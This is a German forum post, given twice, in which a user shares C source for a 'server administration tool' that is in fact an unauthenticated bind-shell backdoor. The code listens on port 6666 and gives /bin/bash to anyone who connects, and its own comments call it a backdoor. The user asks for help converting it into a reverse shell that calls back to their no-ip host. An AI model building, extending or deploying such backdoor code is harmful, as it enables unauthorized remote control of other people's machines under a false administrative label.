Loader007
30.06.2007, 13:51
Hallo,
Ich habe volgendes Programm zu Administration meines Server geschrieben
/*******************************************
*Server Administations Tool *
*Port 6666 *
* *
********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <errno.h>
#define port 6666
int start_prog();
int main(void)
{
int sock,c;
/* Make Backdoor*/
int start_prog(int sock)
{
close(0);
close(1);
close(2);
dup(sock);
dup(sock);
dup(sock);
execl("/bin/bash", "bash", NULL);
}
sock = socket(PF_INET, SOCK_STREAM, 0);
if (sock == -1)
{
perror("socket() failed");
return 1;
}
/* Start Server*/
struct sockaddr_in addr;
addr.sin_addr.s_addr =INADDR_ANY;
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (bind(sock, (struct sockaddr*) &addr, sizeof(addr)) == -1)
{
perror("Fehler");
return 2;
}
if (listen(sock, 3) == -1)
{
perror("listen () failed");
return 3;
}
/* connect adder*/
for(;;)
{
struct sockaddr_in cli;
socklen_t cli_size;
cli_size = sizeof(cli);
if ((c = accept(sock, (struct sockaddr*) &cli, &cli_size)) == -1)
{
perror("accept() failed");
return 4;
}
start_prog(c); /*run backdoor on the Server*/
}
}
Da ein Server der auf einem Port horcht nicht wirklich Sicher ist! Möchte ich in diesen nun eine Connection nur auf meinen PC einbauen. Nur bin ich gerade etwas überfordert wie ich das machen kann. Ich muss mir die Shell dann ja wahrscheinlich mit send senden und eben meine no ip eintragen und mit get hostbytename umwandeln das ist mir klr nur wie ich die Shell dann send eben das bekomme ich gerade noch nicht hin! Wenn mir einer helfen würde fande ich das zimlich nett danke im Vorraus Loader007
Ich habe volgendes Programm zu Administration meines Server geschrieben
/*******************************************
*Server Administations Tool *
*Port 6666 *
* *
********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <errno.h>
#define port 6666
int start_prog();
int main(void)
{
int sock,c;
/* Make Backdoor*/
int start_prog(int sock)
{
close(0);
close(1);
close(2);
dup(sock);
dup(sock);
dup(sock);
execl("/bin/bash", "bash", NULL);
}
sock = socket(PF_INET, SOCK_STREAM, 0);
if (sock == -1)
{
perror("socket() failed");
return 1;
}
/* Start Server*/
struct sockaddr_in addr;
addr.sin_addr.s_addr =INADDR_ANY;
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (bind(sock, (struct sockaddr*) &addr, sizeof(addr)) == -1)
{
perror("Fehler");
return 2;
}
if (listen(sock, 3) == -1)
{
perror("listen () failed");
return 3;
}
/* connect adder*/
for(;;)
{
struct sockaddr_in cli;
socklen_t cli_size;
cli_size = sizeof(cli);
if ((c = accept(sock, (struct sockaddr*) &cli, &cli_size)) == -1)
{
perror("accept() failed");
return 4;
}
start_prog(c); /*run backdoor on the Server*/
}
}
Da ein Server der auf einem Port horcht nicht wirklich Sicher ist! Möchte ich in diesen nun eine Connection nur auf meinen PC einbauen. Nur bin ich gerade etwas überfordert wie ich das machen kann. Ich muss mir die Shell dann ja wahrscheinlich mit send senden und eben meine no ip eintragen und mit get hostbytename umwandeln das ist mir klr nur wie ich die Shell dann send eben das bekomme ich gerade noch nicht hin! Wenn mir einer helfen würde fande ich das zimlich nett danke im Vorraus Loader007